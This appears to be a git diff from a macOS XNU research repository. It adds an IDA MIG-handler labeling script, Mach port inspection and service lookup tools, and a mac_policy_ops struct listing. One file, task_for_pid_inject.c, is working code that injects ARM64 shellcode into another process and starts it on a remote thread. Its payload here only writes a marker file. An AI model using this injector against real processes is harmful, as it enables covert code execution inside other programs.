||||
num_msgs = end_id - start_id
|
||||
if start_id == 0 or num_msgs <= 0 or num_msgs >= 1024:
|
||||
return (False, 0, 0)
|
||||
|
||||
return (True, start_id, end_id)
|
||||
|
||||
def label_subsystem(self, addr, start_id, end_id):
|
||||
"""
|
||||
Label MIG subsystem structure and its routine handlers.
|
||||
|
||||
Args:
|
||||
addr: Address of subsystem structure
|
||||
start_id: Starting message ID
|
||||
end_id: Ending message ID
|
||||
"""
|
||||
num_msgs = end_id - start_id
|
||||
subsys_name = f"MIG_subsystem_{start_id}"
|
||||
|
||||
print(f"[+] Found {subsys_name} at {hex(addr)}")
|
||||
print(f" Message range: {start_id} - {end_id} ({num_msgs} handlers)")
|
||||
|
||||
# Label the subsystem structure
|
||||
ida_name.set_name(addr, subsys_name, ida_name.SN_NOWARN | ida_name.SN_NOCHECK)
|
||||
idc.set_cmt(addr, f"MIG Subsystem {start_id}-{end_id}", 0)
|
||||
|
||||
# Process each routine in the subsystem
|
||||
array_base = addr + self.OFFSET_ROUTINES
|
||||
labeled_count = 0
|
||||
|
||||
for i in range(num_msgs):
|
||||
routine_addr = array_base + (i * self.ROUTINE_SIZE)
|
||||
stub_ptr_addr = routine_addr + self.ROUTINE_STUB_OFFSET
|
||||
stub_func_ea = ida_bytes.get_qword(stub_ptr_addr)
|
||||
msg_id = start_id + i
|
||||
|
||||
# Skip NULL entries
|
||||
if stub_func_ea == 0 or stub_func_ea == 0xFFFFFFFFFFFFFFFF:
|
||||
continue
|
||||
|
||||
# Verify pointer points to valid code segment
|
||||
if not ida_segment.getseg(stub_func_ea):
|
||||
continue
|
||||
|
||||
# Create descriptive name for message handler
|
||||
handler_name = f"MIG_msg_{msg_id}_handler"
|
||||
|
||||
# Label the handler function
|
||||
if ida_name.set_name(stub_func_ea, handler_name, ida_name.SN_NOWARN):
|
||||
labeled_count += 1
|
||||
|
||||
# Make sure it's treated as a function
|
||||
if not ida_funcs.get_func(stub_func_ea):
|
||||
ida_funcs.add_func(stub_func_ea)
|
||||
|
||||
# Add comment at pointer location
|
||||
idc.set_cmt(stub_ptr_addr, f"Handler for MIG message {msg_id}", 0)
|
||||
|
||||
print(f" Labeled {labeled_count}/{num_msgs} handlers")
|
||||
self.total_messages += labeled_count
|
||||
self.found_count += 1
|
||||
|
||||
def scan_segment(self, seg_ea):
|
||||
"""
|
||||
Scan a single segment for MIG subsystems.
|
||||
|
||||
Args:
|
||||
seg_ea: Segment address
|
||||
"""
|
||||
seg_name = idc.get_segm_name(seg_ea)
|
||||
start = idc.get_segm_start(seg_ea)
|
||||
end = idc.get_segm_end(seg_ea)
|
||||
|
||||
# Leave safety buffer for structure reads
|
||||
scan_end = end - self.ROUTINE_SIZE
|
||||
|
||||
print(f"\n[*] Scanning {seg_name} ({hex(start)} - {hex(end)})")
|
||||
|
||||
# Scan with 8-byte alignment (pointer size on arm64)
|
||||
for addr in range(start, scan_end, 8):
|
||||
is_valid, start_id, end_id = self.is_valid_subsystem(addr)
|
||||
|
||||
if is_valid:
|
||||
self.label_subsystem(addr, start_id, end_id)
|
||||
|
||||
def scan(self):
|
||||
"""Main scanning routine - iterate all relevant segments."""
|
||||
print("=" * 70)
|
||||
print("MIG Subsystem Scanner for IDA Pro")
|
||||
print("=" * 70)
|
||||
|
||||
# Find and scan target segments
|
||||
scanned_segments = 0
|
||||
for seg_ea in idautils.Segments():
|
||||
seg_name = idc.get_segm_name(seg_ea)
|
||||
|
||||
if any(target in seg_name for target in self.TARGET_SEGMENTS):
|
||||
self.scan_segment(seg_ea)
|
||||
scanned_segments += 1
|
||||
|
||||
# Print summary
|
||||
print("\n" + "=" * 70)
|
||||
print(f"Scan Complete!")
|
||||
print(f" Segments scanned: {scanned_segments}")
|
||||
print(f" Subsystems found: {self.found_count}")
|
||||
print(f" Message handlers labeled: {self.total_messages}")
|
||||
print("=" * 70)
|
||||
|
||||
|
||||
def main():
|
||||
"""Entry point for the script."""
|
||||
scanner = MIGSubsystemScanner()
|
||||
scanner.scan()
|
||||
|
||||
# Refresh IDA views to show new names
|
||||
idaapi.refresh_idaview_anyway()
|
||||
print("\n[*] IDA views refreshed. Check Functions window for MIG_msg_* handlers")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
63
X. NU/custom/mach_ipc/port_inspector.c
Normal file
63
X. NU/custom/mach_ipc/port_inspector.c
Normal file
@@ -0,0 +1,63 @@
|
||||
#include <stdio.h>
|
||||
#include <mach/mach.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
if (argc != 2) {
|
||||
printf("Usage: %s <pid>\n", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
pid_t target_pid = atoi(argv[1]);
|
||||
kern_return_t kr;
|
||||
mach_port_t task;
|
||||
|
||||
kr = task_for_pid(mach_task_self(), target_pid, &task);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Failed to get task for pid %d: %s\n", target_pid, mach_error_string(kr));
|
||||
return 1;
|
||||
}
|
||||
|
||||
ipc_info_name_array_t table_info;
|
||||
mach_msg_type_number_t table_infoCnt;
|
||||
ipc_info_tree_name_array_t tree_info;
|
||||
mach_msg_type_number_t tree_infoCnt;
|
||||
ipc_info_space_t space_info;
|
||||
|
||||
kr = mach_port_space_info(task, &space_info, &table_info, &table_infoCnt, &tree_info, &tree_infoCnt);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Failed to get port space info: %s\n", mach_error_string(kr));
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf("IPC Space Info:\n");
|
||||
printf("Table size: %d, Next: %d, Active ports: %d\n\n",
|
||||
space_info.iis_table_size, space_info.iis_table_next, table_infoCnt);
|
||||
|
||||
printf("%-6s | %-6s | %-20s | %-4s | %-10s\n",
|
||||
"Index", "Name", "Rights", "Refs", "Generation");
|
||||
printf("-------------------------------------------------------------------\n");
|
||||
|
||||
for (int i = 0; i < table_infoCnt; i++) {
|
||||
char rights[32] = "";
|
||||
if (table_info[i].iin_type & MACH_PORT_TYPE_RECEIVE) strcat(rights, "RECV ");
|
||||
if (table_info[i].iin_type & MACH_PORT_TYPE_SEND) strcat(rights, "SEND ");
|
||||
if (table_info[i].iin_type & MACH_PORT_TYPE_SEND_ONCE) strcat(rights, "ONCE ");
|
||||
if (table_info[i].iin_type & MACH_PORT_TYPE_PORT_SET) strcat(rights, "SET ");
|
||||
if (table_info[i].iin_type & MACH_PORT_TYPE_DEAD_NAME) strcat(rights, "DEAD ");
|
||||
if (rights[0] == '\0') strcpy(rights, "IO_NULL");
|
||||
|
||||
printf("%-6d | 0x%-4x | %-20s | %-4d | %-10d\n",
|
||||
i,
|
||||
table_info[i].iin_name,
|
||||
rights,
|
||||
table_info[i].iin_urefs,
|
||||
MACH_PORT_INDEX(table_info[i].iin_name) >> 24);
|
||||
}
|
||||
|
||||
mach_port_deallocate(mach_task_self(), task);
|
||||
vm_deallocate(mach_task_self(), (vm_address_t)table_info, table_infoCnt * sizeof(*table_info));
|
||||
vm_deallocate(mach_task_self(), (vm_address_t)tree_info, tree_infoCnt * sizeof(*tree_info));
|
||||
return 0;
|
||||
}
|
||||
52
X. NU/custom/mach_ipc/service_lookup.c
Normal file
52
X. NU/custom/mach_ipc/service_lookup.c
Normal file
@@ -0,0 +1,52 @@
|
||||
#include <stdio.h>
|
||||
#include <mach/mach.h>
|
||||
#include <servers/bootstrap.h>
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
if (argc != 2) {
|
||||
printf("Usage: %s <service_name>\n", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
const char *service_name = argv[1];
|
||||
mach_port_t bootstrap_port, service_port;
|
||||
kern_return_t kr;
|
||||
|
||||
// Get the bootstrap port
|
||||
kr = task_get_bootstrap_port(mach_task_self(), &bootstrap_port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Failed to get bootstrap port: %s\n", mach_error_string(kr));
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Look up the service
|
||||
kr = bootstrap_look_up(bootstrap_port, service_name, &service_port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Service '%s' not found: %s\n", service_name, mach_error_string(kr));
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Get port rights information
|
||||
mach_port_type_t type;
|
||||
kr = mach_port_type(mach_task_self(), service_port, &type);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Failed to get port type: %s\n", mach_error_string(kr));
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf("Service: %s\n", service_name);
|
||||
printf("Port: 0x%x\n", service_port);
|
||||
printf("Rights: ");
|
||||
if (type & MACH_PORT_TYPE_RECEIVE) printf("RECV ");
|
||||
if (type & MACH_PORT_TYPE_SEND) printf("SEND ");
|
||||
if (type & MACH_PORT_TYPE_SEND_ONCE) printf("ONCE ");
|
||||
if (type & MACH_PORT_TYPE_PORT_SET) printf("SET ");
|
||||
if (type & MACH_PORT_TYPE_DEAD_NAME) printf("DEAD ");
|
||||
printf("\n");
|
||||
|
||||
// Cleanup
|
||||
mach_port_deallocate(mach_task_self(), service_port);
|
||||
mach_port_deallocate(mach_task_self(), bootstrap_port);
|
||||
|
||||
return 0;
|
||||
}
|
||||
205
X. NU/custom/mach_ipc/task_for_pid_inject.c
Normal file
205
X. NU/custom/mach_ipc/task_for_pid_inject.c
Normal file
@@ -0,0 +1,205 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <mach/mach.h> // Core Mach kernel interfaces
|
||||
#include <mach/mach_vm.h> // Virtual memory management
|
||||
#include <mach/arm/thread_status.h> // ARM64 thread state definitions
|
||||
#include <unistd.h>
|
||||
#include <pthread.h>
|
||||
|
||||
/*
|
||||
* This is our shellcode that will run in the target process.
|
||||
* The __attribute__((naked)) tells the compiler not to add any function prologue/epilogue
|
||||
* code - we want complete control over the assembly.
|
||||
*
|
||||
* What this shellcode does:
|
||||
* 1. Creates a file at /tmp/research_success
|
||||
* 2. Writes "pwn" to it
|
||||
* 3. Exits cleanly
|
||||
*/
|
||||
__attribute__((naked)) void shellcode() {
|
||||
__asm__(
|
||||
// Set up our stack frame - allocate 32 bytes
|
||||
"sub sp, sp, #0x20\n"
|
||||
|
||||
// Open a file
|
||||
// The adr instruction loads the address of our filename relative to the current position
|
||||
"adr x0, 1f\n" // Load filename into x0 (first argument)
|
||||
"mov x1, #0x601\n" // Flags: O_CREAT|O_WRONLY|O_TRUNC
|
||||
"mov x2, #0666\n" // File permissions: rw-rw-rw-
|
||||
"mov x16, #5\n" // System call number for open()
|
||||
"svc #0x80\n" // Make the system call
|
||||
|
||||
// Write to the file
|
||||
"mov x19, x0\n" // Save file descriptor for later
|
||||
"adr x1, 2f\n" // Load address of content to write
|
||||
"mov x2, #4\n" // Length of content (including newline)
|
||||
"mov x16, #4\n" // System call number for write()
|
||||
"svc #0x80\n"
|
||||
|
||||
// Exit cleanly
|
||||
"mov x0, #0\n" // Exit code 0
|
||||
"mov x16, #1\n" // System call number for exit()
|
||||
"svc #0x80\n"
|
||||
|
||||
// Data section
|
||||
".align 4\n" // Align data to 4-byte boundary
|
||||
"1: .asciz \"/tmp/research_success\"\n" // Null-terminated filename
|
||||
"2: .asciz \"pwn\\n\"\n" // Content to write
|
||||
);
|
||||
}
|
||||
|
||||
/*
|
||||
* Validates that we have a working task port
|
||||
* A task port is like a "handle" to another process in macOS,
|
||||
* giving us permission to interact with it
|
||||
*/
|
||||
static boolean_t verify_task_port(mach_port_t task) {
|
||||
task_flavor_t flavor = TASK_BASIC_INFO;
|
||||
task_basic_info_data_t info;
|
||||
mach_msg_type_number_t count = TASK_BASIC_INFO_COUNT;
|
||||
|
||||
// Try to get basic info about the task - if this succeeds,
|
||||
// we know we have a valid task port
|
||||
kern_return_t kr = task_info(task, flavor, (task_info_t)&info, &count);
|
||||
return (kr == KERN_SUCCESS);
|
||||
}
|
||||
|
||||
/*
|
||||
* This function handles the memory operations needed to inject our code
|
||||
* into the target process. It:
|
||||
* 1. Allocates memory in the target process
|
||||
* 2. Copies our shellcode into that memory
|
||||
* 3. Sets the memory permissions so the code can execute
|
||||
*/
|
||||
kern_return_t map_memory(mach_port_t task, mach_vm_address_t *addr, void *data, size_t size) {
|
||||
kern_return_t kr;
|
||||
|
||||
// First, make sure our task port is valid
|
||||
if (!verify_task_port(task)) {
|
||||
printf("Invalid task port provided\n");
|
||||
return KERN_INVALID_TASK;
|
||||
}
|
||||
|
||||
// Memory pages must be page-aligned in macOS
|
||||
// This rounds up our allocation size to the next page boundary
|
||||
vm_size_t page_size = vm_page_size;
|
||||
size_t aligned_size = (size + page_size - 1) & ~(page_size - 1);
|
||||
|
||||
// Allocate memory in the target process
|
||||
// VM_FLAGS_ANYWHERE lets the kernel choose a suitable address
|
||||
kr = mach_vm_allocate(task, addr, aligned_size, VM_FLAGS_ANYWHERE);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Memory allocation failed: %d (0x%x)\n", kr, kr);
|
||||
printf("Attempted to allocate %zu bytes\n", aligned_size);
|
||||
return kr;
|
||||
}
|
||||
|
||||
// Copy our shellcode into the allocated memory
|
||||
kr = mach_vm_write(task, *addr, (vm_offset_t)data, size);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Memory write failed: %d (0x%x)\n", kr, kr);
|
||||
mach_vm_deallocate(task, *addr, aligned_size);
|
||||
return kr;
|
||||
}
|
||||
|
||||
// Set the memory permissions to allow execution
|
||||
// We need both read and execute permissions for the code to run
|
||||
kr = mach_vm_protect(task, *addr, aligned_size, FALSE,
|
||||
VM_PROT_READ | VM_PROT_EXECUTE);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Memory protection change failed: %d (0x%x)\n", kr, kr);
|
||||
mach_vm_deallocate(task, *addr, aligned_size);
|
||||
return kr;
|
||||
}
|
||||
|
||||
return KERN_SUCCESS;
|
||||
}
|
||||
|
||||
/*
|
||||
* This is the main injection function that orchestrates the whole process:
|
||||
* 1. Verifies we can work with the target process
|
||||
* 2. Maps our shellcode into it
|
||||
* 3. Creates a new thread to run our code
|
||||
*/
|
||||
kern_return_t inject_code(mach_port_t task) {
|
||||
kern_return_t kr;
|
||||
void *shellcode_ptr = (void*)shellcode;
|
||||
size_t shellcode_size = 256; // Space for our shellcode and any data it needs
|
||||
mach_vm_address_t remote_code = 0;
|
||||
|
||||
// Verify we can work with this task
|
||||
task_basic_info_data_t info;
|
||||
mach_msg_type_number_t count = TASK_BASIC_INFO_COUNT;
|
||||
kr = task_info(task, TASK_BASIC_INFO, (task_info_t)&info, &count);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Failed to get task info: %d (0x%x)\n", kr, kr);
|
||||
return kr;
|
||||
}
|
||||
|
||||
// Copy our shellcode into the target process
|
||||
kr = map_memory(task, &remote_code, shellcode_ptr, shellcode_size);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
return kr;
|
||||
}
|
||||
|
||||
// Set up the initial register state for our new thread
|
||||
arm_thread_state64_t thread_state = {0};
|
||||
thread_state.__pc = remote_code; // Program counter - where to start executing
|
||||
thread_state.__sp = (remote_code + 0x1000) & ~0xFULL; // Stack pointer - aligned to 16 bytes
|
||||
thread_state.__x[29] = thread_state.__sp; // Frame pointer
|
||||
|
||||
// Create and start a new thread in the target process
|
||||
thread_act_t new_thread;
|
||||
kr = thread_create_running(task,
|
||||
ARM_THREAD_STATE64,
|
||||
(thread_state_t)&thread_state,
|
||||
ARM_THREAD_STATE64_COUNT,
|
||||
&new_thread);
|
||||
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Thread creation failed: %d (0x%x)\n", kr, kr);
|
||||
mach_vm_deallocate(task, remote_code, shellcode_size);
|
||||
return kr;
|
||||
}
|
||||
|
||||
return KERN_SUCCESS;
|
||||
}
|
||||
|
||||
/*
|
||||
* Main entry point - takes a process ID as argument
|
||||
* This is where we:
|
||||
* 1. Get access to the target process
|
||||
* 2. Inject and run our code in it
|
||||
* 3. Report success or failure
|
||||
*/
|
||||
int main(int argc, char *argv[]) {
|
||||
if (argc != 2) {
|
||||
printf("Usage: %s <pid>\n", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
pid_t target_pid = atoi(argv[1]);
|
||||
|
||||
// Get a task port for the target process
|
||||
// This is our "handle" to interact with it
|
||||
mach_port_t task;
|
||||
kern_return_t kr = task_for_pid(mach_task_self(), target_pid, &task);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Failed to get task for pid %d: %d (0x%x)\n", target_pid, kr, kr);
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf("Successfully got task port: %d\n", task);
|
||||
|
||||
// Do the injection
|
||||
kr = inject_code(task);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Injection failed with error: %d (0x%x)\n", kr, kr);
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf("Injection successful\n");
|
||||
printf("Check /tmp/research_success to verify execution\n");
|
||||
|
||||
return 0;
|
||||
}
|
||||
8
X. NU/custom/system_call_demo.c
Normal file
8
X. NU/custom/system_call_demo.c
Normal file
@@ -0,0 +1,8 @@
|
||||
#include <unistd.h>
|
||||
|
||||
int main() {
|
||||
const char *message = "Hello, Kernelspace!\n";
|
||||
write(1, message, 20); // Direct system call to write to stdout
|
||||
return 0;
|
||||
}
|
||||
|
||||
BIN
X. NU/mac/XNU_exception_handling_map.png
Normal file
BIN
X. NU/mac/XNU_exception_handling_map.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 404 KiB |
337
X. NU/mac/mac_policy_ops
Normal file
337
X. NU/mac/mac_policy_ops
Normal file
@@ -0,0 +1,337 @@
|
||||
struct mac_policy_ops {
|
||||
void* mpo_audit_check_postselect;
|
||||
void* mpo_audit_check_preselect;
|
||||
void* mpo_reserved01;
|
||||
void* mpo_reserved02;
|
||||
void* mpo_reserved03;
|
||||
void* mpo_reserved04;
|
||||
void* mpo_cred_check_label_update_execve;
|
||||
void* mpo_cred_check_label_update;
|
||||
void* mpo_cred_check_visible;
|
||||
void* mpo_cred_label_associate_fork;
|
||||
void* mpo_cred_label_associate_kernel;
|
||||
void* mpo_cred_label_associate;
|
||||
void* mpo_cred_label_associate_user;
|
||||
void* mpo_cred_label_destroy;
|
||||
void* mpo_cred_label_externalize_audit;
|
||||
void* mpo_cred_label_externalize;
|
||||
void* mpo_cred_label_init;
|
||||
void* mpo_cred_label_internalize;
|
||||
void* mpo_cred_label_update_execve;
|
||||
void* mpo_cred_label_update;
|
||||
void* mpo_devfs_label_associate_device;
|
||||
void* mpo_devfs_label_associate_directory;
|
||||
void* mpo_devfs_label_copy;
|
||||
void* mpo_devfs_label_destroy;
|
||||
void* mpo_devfs_label_init;
|
||||
void* mpo_devfs_label_update;
|
||||
void* mpo_file_check_change_offset;
|
||||
void* mpo_file_check_create;
|
||||
void* mpo_file_check_dup;
|
||||
void* mpo_file_check_fcntl;
|
||||
void* mpo_file_check_get_offset;
|
||||
void* mpo_file_check_get;
|
||||
void* mpo_file_check_inherit;
|
||||
void* mpo_file_check_ioctl;
|
||||
void* mpo_file_check_lock;
|
||||
void* mpo_file_check_mmap_downgrade;
|
||||
void* mpo_file_check_mmap;
|
||||
void* mpo_file_check_receive;
|
||||
void* mpo_file_check_set;
|
||||
void* mpo_file_label_init; /* deprecated not called anymore */
|
||||
void* mpo_file_label_destroy; /* deprecated not called anymore */
|
||||
void* mpo_file_label_associate; /* deprecated not called anymore */
|
||||
void* mpo_file_notify_close;
|
||||
void* mpo_proc_check_launch_constraints;
|
||||
void* mpo_proc_notify_service_port_derive;
|
||||
void* mpo_proc_check_set_task_exception_port;
|
||||
void* mpo_proc_check_set_thread_exception_port;
|
||||
void* mpo_proc_check_delegated_signal;
|
||||
void* mpo_reserved08;
|
||||
void* mpo_reserved09;
|
||||
void* mpo_reserved10;
|
||||
void* mpo_reserved11;
|
||||
void* mpo_reserved12;
|
||||
void* mpo_reserved13;
|
||||
void* mpo_reserved14;
|
||||
void* mpo_reserved15;
|
||||
void* mpo_reserved16;
|
||||
void* mpo_reserved17;
|
||||
void* mpo_reserved18;
|
||||
void* mpo_reserved19;
|
||||
void* mpo_reserved20;
|
||||
void* mpo_reserved21;
|
||||
void* mpo_necp_check_open;
|
||||
void* mpo_necp_check_client_action;
|
||||
void* mpo_file_check_library_validation;
|
||||
void* mpo_vnode_notify_setacl;
|
||||
void* mpo_vnode_notify_setattrlist;
|
||||
void* mpo_vnode_notify_setextattr;
|
||||
void* mpo_vnode_notify_setflags;
|
||||
void* mpo_vnode_notify_setmode;
|
||||
void* mpo_vnode_notify_setowner;
|
||||
void* mpo_vnode_notify_setutimes;
|
||||
void* mpo_vnode_notify_truncate;
|
||||
void* mpo_vnode_check_getattrlistbulk;
|
||||
void* mpo_proc_check_get_task_special_port;
|
||||
void* mpo_proc_check_set_task_special_port;
|
||||
void* mpo_vnode_notify_swap;
|
||||
void* mpo_vnode_notify_unlink;
|
||||
void* mpo_vnode_check_swap;
|
||||
void* mpo_reserved33;
|
||||
void* mpo_reserved34;
|
||||
void* mpo_reserved35;
|
||||
void* mpo_vnode_check_copyfile;
|
||||
void* mpo_mount_check_quotactl;
|
||||
void* mpo_mount_check_fsctl;
|
||||
void* mpo_mount_check_getattr;
|
||||
void* mpo_mount_check_label_update;
|
||||
void* mpo_mount_check_mount;
|
||||
void* mpo_mount_check_remount;
|
||||
void* mpo_mount_check_setattr;
|
||||
void* mpo_mount_check_stat;
|
||||
void* mpo_mount_check_umount;
|
||||
void* mpo_mount_label_associate;
|
||||
void* mpo_mount_label_destroy;
|
||||
void* mpo_mount_label_externalize;
|
||||
void* mpo_mount_label_init;
|
||||
void* mpo_mount_label_internalize;
|
||||
void* mpo_proc_check_expose_task_with_flavor;
|
||||
void* mpo_proc_check_get_task_with_flavor;
|
||||
void* mpo_proc_check_task_id_token_get_task;
|
||||
void* mpo_pipe_check_ioctl;
|
||||
void* mpo_pipe_check_kqfilter;
|
||||
void* mpo_reserved41;
|
||||
void* mpo_pipe_check_read;
|
||||
void* mpo_pipe_check_select;
|
||||
void* mpo_pipe_check_stat;
|
||||
void* mpo_pipe_check_write;
|
||||
void* mpo_pipe_label_associate;
|
||||
void* mpo_reserved42;
|
||||
void* mpo_pipe_label_destroy;
|
||||
void* mpo_reserved43;
|
||||
void* mpo_pipe_label_init;
|
||||
void* mpo_reserved44;
|
||||
void* mpo_proc_check_syscall_mac;
|
||||
void* mpo_policy_destroy;
|
||||
void* mpo_policy_init;
|
||||
void* mpo_policy_initbsd;
|
||||
void* mpo_policy_syscall;
|
||||
void* mpo_system_check_sysctlbyname;
|
||||
void* mpo_proc_check_inherit_ipc_ports;
|
||||
void* mpo_vnode_check_rename;
|
||||
void* mpo_kext_check_query;
|
||||
void* mpo_proc_notify_exec_complete;
|
||||
void* mpo_proc_notify_cs_invalidated;
|
||||
void* mpo_proc_check_syscall_unix;
|
||||
void* mpo_reserved45;
|
||||
void* mpo_proc_check_set_host_special_port;
|
||||
void* mpo_proc_check_set_host_exception_port;
|
||||
void* mpo_exc_action_check_exception_send;
|
||||
void* mpo_exc_action_label_associate;
|
||||
void* mpo_exc_action_label_populate;
|
||||
void* mpo_exc_action_label_destroy;
|
||||
void* mpo_exc_action_label_init;
|
||||
void* mpo_exc_action_label_update;
|
||||
void* mpo_vnode_check_trigger_resolve;
|
||||
void* mpo_mount_check_mount_late;
|
||||
void* mpo_mount_check_snapshot_mount;
|
||||
void* mpo_vnode_notify_reclaim;
|
||||
void* mpo_skywalk_flow_check_connect;
|
||||
void* mpo_skywalk_flow_check_listen;
|
||||
void* mpo_posixsem_check_create;
|
||||
void* mpo_posixsem_check_open;
|
||||
void* mpo_posixsem_check_post;
|
||||
void* mpo_posixsem_check_unlink;
|
||||
void* mpo_posixsem_check_wait;
|
||||
void* mpo_posixsem_label_associate;
|
||||
void* mpo_posixsem_label_destroy;
|
||||
void* mpo_posixsem_label_init;
|
||||
void* mpo_posixshm_check_create;
|
||||
void* mpo_posixshm_check_mmap;
|
||||
void* mpo_posixshm_check_open;
|
||||
void* mpo_posixshm_check_stat;
|
||||
void* mpo_posixshm_check_truncate;
|
||||
void* mpo_posixshm_check_unlink;
|
||||
void* mpo_posixshm_label_associate;
|
||||
void* mpo_posixshm_label_destroy;
|
||||
void* mpo_posixshm_label_init;
|
||||
void* mpo_proc_check_debug;
|
||||
void* mpo_proc_check_fork;
|
||||
void* mpo_reserved61;
|
||||
void* mpo_reserved62;
|
||||
void* mpo_proc_check_getaudit;
|
||||
void* mpo_proc_check_getauid;
|
||||
void* mpo_reserved63;
|
||||
void* mpo_proc_check_mprotect;
|
||||
void* mpo_proc_check_sched;
|
||||
void* mpo_proc_check_setaudit;
|
||||
void* mpo_proc_check_setauid;
|
||||
void* mpo_reserved64;
|
||||
void* mpo_proc_check_signal;
|
||||
void* mpo_proc_check_wait;
|
||||
void* mpo_proc_check_dump_core;
|
||||
void* mpo_proc_check_remote_thread_create;
|
||||
void* mpo_socket_check_accept;
|
||||
void* mpo_socket_check_accepted;
|
||||
void* mpo_socket_check_bind;
|
||||
void* mpo_socket_check_connect;
|
||||
void* mpo_socket_check_create;
|
||||
void* mpo_reserved46;
|
||||
void* mpo_reserved47;
|
||||
void* mpo_reserved48;
|
||||
void* mpo_socket_check_listen;
|
||||
void* mpo_socket_check_receive;
|
||||
void* mpo_socket_check_received;
|
||||
void* mpo_reserved49;
|
||||
void* mpo_socket_check_send;
|
||||
void* mpo_socket_check_stat;
|
||||
void* mpo_socket_check_setsockopt;
|
||||
void* mpo_socket_check_getsockopt;
|
||||
void* mpo_proc_check_get_movable_control_port;
|
||||
void* mpo_proc_check_dyld_process_info_notify_register;
|
||||
void* mpo_proc_check_setuid;
|
||||
void* mpo_proc_check_seteuid;
|
||||
void* mpo_proc_check_setreuid;
|
||||
void* mpo_proc_check_setgid;
|
||||
void* mpo_proc_check_setegid;
|
||||
void* mpo_proc_check_setregid;
|
||||
void* mpo_proc_check_settid;
|
||||
void* mpo_proc_check_memorystatus_control;
|
||||
void* mpo_reserved60;
|
||||
void* mpo_thread_telemetry;
|
||||
void* mpo_iokit_check_open_service;
|
||||
void* mpo_system_check_acct;
|
||||
void* mpo_system_check_audit;
|
||||
void* mpo_system_check_auditctl;
|
||||
void* mpo_system_check_auditon;
|
||||
void* mpo_system_check_host_priv;
|
||||
void* mpo_system_check_nfsd;
|
||||
void* mpo_system_check_reboot;
|
||||
void* mpo_system_check_settime;
|
||||
void* mpo_system_check_swapoff;
|
||||
void* mpo_system_check_swapon;
|
||||
void* mpo_socket_check_ioctl;
|
||||
void* mpo_sysvmsg_label_associate;
|
||||
void* mpo_sysvmsg_label_destroy;
|
||||
void* mpo_sysvmsg_label_init;
|
||||
void* mpo_sysvmsg_label_recycle;
|
||||
void* mpo_sysvmsq_check_enqueue;
|
||||
void* mpo_sysvmsq_check_msgrcv;
|
||||
void* mpo_sysvmsq_check_msgrmid;
|
||||
void* mpo_sysvmsq_check_msqctl;
|
||||
void* mpo_sysvmsq_check_msqget;
|
||||
void* mpo_sysvmsq_check_msqrcv;
|
||||
void* mpo_sysvmsq_check_msqsnd;
|
||||
void* mpo_sysvmsq_label_associate;
|
||||
void* mpo_sysvmsq_label_destroy;
|
||||
void* mpo_sysvmsq_label_init;
|
||||
void* mpo_sysvmsq_label_recycle;
|
||||
void* mpo_sysvsem_check_semctl;
|
||||
void* mpo_sysvsem_check_semget;
|
||||
void* mpo_sysvsem_check_semop;
|
||||
void* mpo_sysvsem_label_associate;
|
||||
void* mpo_sysvsem_label_destroy;
|
||||
void* mpo_sysvsem_label_init;
|
||||
void* mpo_sysvsem_label_recycle;
|
||||
void* mpo_sysvshm_check_shmat;
|
||||
void* mpo_sysvshm_check_shmctl;
|
||||
void* mpo_sysvshm_check_shmdt;
|
||||
void* mpo_sysvshm_check_shmget;
|
||||
void* mpo_sysvshm_label_associate;
|
||||
void* mpo_sysvshm_label_destroy;
|
||||
void* mpo_sysvshm_label_init;
|
||||
void* mpo_sysvshm_label_recycle;
|
||||
void* mpo_proc_notify_exit;
|
||||
void* mpo_mount_check_snapshot_revert;
|
||||
void* mpo_vnode_check_getattr;
|
||||
void* mpo_mount_check_snapshot_create;
|
||||
void* mpo_mount_check_snapshot_delete;
|
||||
void* mpo_vnode_check_clone;
|
||||
void* mpo_proc_check_get_cs_info;
|
||||
void* mpo_proc_check_set_cs_info;
|
||||
void* mpo_iokit_check_hid_control;
|
||||
void* mpo_vnode_check_access;
|
||||
void* mpo_vnode_check_chdir;
|
||||
void* mpo_vnode_check_chroot;
|
||||
void* mpo_vnode_check_create;
|
||||
void* mpo_vnode_check_deleteextattr;
|
||||
void* mpo_vnode_check_exchangedata;
|
||||
void* mpo_vnode_check_exec;
|
||||
void* mpo_vnode_check_getattrlist;
|
||||
void* mpo_vnode_check_getextattr;
|
||||
void* mpo_vnode_check_ioctl;
|
||||
void* mpo_vnode_check_kqfilter;
|
||||
void* mpo_vnode_check_label_update;
|
||||
void* mpo_vnode_check_link;
|
||||
void* mpo_vnode_check_listextattr;
|
||||
void* mpo_vnode_check_lookup;
|
||||
void* mpo_vnode_check_open;
|
||||
void* mpo_vnode_check_read;
|
||||
void* mpo_vnode_check_readdir;
|
||||
void* mpo_vnode_check_readlink;
|
||||
void* mpo_vnode_check_rename_from;
|
||||
void* mpo_vnode_check_rename_to;
|
||||
void* mpo_vnode_check_revoke;
|
||||
void* mpo_vnode_check_select;
|
||||
void* mpo_vnode_check_setattrlist;
|
||||
void* mpo_vnode_check_setextattr;
|
||||
